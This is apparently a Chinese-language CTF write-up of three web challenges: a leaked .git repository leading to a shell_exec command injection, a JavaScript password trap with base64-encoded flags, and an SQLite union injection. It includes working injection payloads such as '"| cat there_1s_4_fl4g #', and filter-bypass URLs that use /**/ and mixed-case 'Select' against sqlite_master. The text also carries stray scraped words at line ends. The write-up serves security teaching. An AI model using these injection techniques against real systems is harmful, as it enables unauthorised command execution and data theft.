CTF萌新,因此寫的比較基礎,請大佬們勿噴,比賽自己的Web題也不難javascript
首先看到題目後,在輸入框中測試了一下,發現能夠被執行php
首先猜測是否是ssti,模板注入,可是日常遇到的模板注入題目中,python的居多,php的沒怎麼遇到過,有點懷疑若是是php的模板注入的話也不必定能搞得出來,這個時候掃一下目錄css
python dirsearch.py -u http://202.120.7.205:60003/ -e php -t 60
發現存在git源碼泄露html
直接上githack看看可以拖下來什麼東西java
python2 GitHack.py -u "http://202.120.7.205:60003/.git/"
將index.php
下載了下載python
開啓代碼審計模式mysql
第22~27行對GET
方法是否被使用作了一次判斷linux
<?php $str=""; if(!empty($_GET)){ $str=$_GET["calc"]; } ?>
第40~42行對變量$str
是否爲空作了一次判斷nginx
<?php if($str !== ""){ } ?>
接下來到第44~46行這裏,看到使用了shell_exec
函數,基本能夠判斷爲命令注入了git
<?php echo $str." = ".shell_exec("echo \"$str\" | bc"); ?>
接下來開始繞過
測試的話能夠把shell_exec
裏面的內容粘貼到linux 的bash中進行測試
echo \"$str\" | bc
能夠看到\"
轉義字符輸出"
,
即
echo "$str" | bc
$str
函數是咱們能夠控制的值
開始繞過之旅
|
在命令執行漏洞中常常用到,表示管道,上一條命令的輸出,做爲下一條命令參數
因此,會把echo 後的內容傳值到bc
命令,可是通過測試發現bc命令是不存在的,因此用linux 中的註釋符#
註釋掉它,基本構造以下
echo "$str#" | bc
這樣來講,能夠註釋掉後面的bc命令了,可是由於有"
的阻礙,使咱們無法達到目的,因此閉合掉雙引號,再加上管道符
構造以下
echo ""|$str#" | bc
將$str
替換爲ls
命令,本地驗證經過
構造payload,列一下題目的當前目錄
"| ls #
發現flag文件there_1s_4_fl4g
構造payload讀取
"| cat there_1s_4_fl4g #
題目打開以後有彈窗
隨便輸入後,提示密碼錯誤,右擊查看源代碼
發現第6~16行中包含了密碼和要輸出的內容
<script type="text/javascript"> a = prompt("Password"); if(a=="H4CK3D") { alert("Flag is '"+atob("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu")+"'"); } else { alert("Wrong Password!"); } </script>
其中prompt
方法用於顯示可提示用戶進行輸入的對話框
atob
函數是javascript中用於解密base64編碼的方法,直接解密字符串
>>> import base64 >>> base64.b64decode("WW91IGFyZSBUcmFwcGVkIDopIFRoaXMgaXMgbm90IHRoZSBmbGFnLiBDaGVjayBhcm91bmQu") b'You are Trapped :) This is not the flag. Check around.'
發現並無flag
提示讓咱們去周圍找一找
訪問index.html
頁面,發現進行了302跳轉到了trap.html
頁面
咱們直接查看index.html
頁面的源碼
發現其6~8行進行了一次302跳轉
直接看下面的代碼
在45~55行中發現相似的前一個頁面的代碼
<script type="text/javascript"> a = prompt("Password"); if(a=="H4CK3D") { alert("Flag is "+atob("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9")); } else { alert("Wrong Password!"); } </script>
直接解密獲得flag
>>> import base64 >>> base64.b64decode("ZmxhZzpJU0d7SDNJSU9fMXNHX2pzX1RyNHB9") b'flag:ISG{H3IIO_1sG_js_Tr4p}'
這個題考察了sqlite
的注入,進行了簡單的危險函數判斷
這裏剛開始普及一些sqllite
知識
sqllite數據庫注入和mysql數據庫注入很像,不一樣點在於,sqllite數據庫沒有information_schema
數據庫,而是採用sqlite_master
表,來存儲當前數據庫中全部表的相關信息,好比表的名稱、用於建立此表的sql語句、索引、索引所屬的表、建立索引的sql語句等。它的字段有
type,name,tbl_name,rootpage,sql
type
爲類型
1.查詢表信息
若是要查詢表的信息,則type字段爲「table」,name字段爲表的名稱,返回結果中返回的sql字段,爲建立此表的sql語句。
select * from sqlite_master where type=’table’ and name=‘表名’;
2.查詢索引信息
若是要查詢索引信息,則type字段爲「index」,name字段爲索引名稱,返回結果中的tbl_name字段爲該索引所屬的表,sql字段爲建立此索引的sql語句。
select * from sqlite_master where type=’index’ and name=‘索引名’;
sql
爲建立數據表的語句,這個對咱們很是有用
name
對於表來講,是當前表的名字,對於索引來講是當前索引的名稱
tbl_name
是該索引所屬的表的名字
rootpage
根據字面意思理解,應該是這個對象在數據庫文件中的第一個頁面位置。相似鏈表的一個指針
首先去看它的codesafe
函數這裏判斷了什麼內容
在代碼的第47~51行
def codesafe(n): if re.search("select", n) or re.search(" ", n) or re.search("where", n) or re.search("=", n) or re.search("'", n): return False else: return True
能夠看到,當其中有select
、空格、where
、=
、'
時,返回False
會觸發第73~74行這裏進行截斷返回
if not codesafe(id): return 'Hacker?'
瞭解請了這些後,開始注入
首先,判斷空格能夠經過/**/
,來進行繞過,判斷select
能夠採用大小寫來繞過
where
和=
能夠不用
這裏採用了僞靜態的模式,後面拼接.html
多是web.py
框架裏面內置判斷,不拼接.html
會顯示404頁面
開始注入
判斷字段數爲2
http://202.120.7.206:60019/news-1/**/order/**/by/**/2.html
判斷顯示位
http://202.120.7.206:60019/news-4/**/union/**/Select/**/1,2.html
查看建表的sql
語句,能夠直接獲取字段和表名
http://202.120.7.206:60019/news-4/**/union/**/Select/**/sql,2/**/from/**/sqlite_master.html
直接查看flag
http://202.120.7.206:60019/news-4/**/union/**/Select/**/flag,2/**/from/**/flag.html
你們有任何問題能夠提問,更多文章可到i春秋論壇閱讀喲~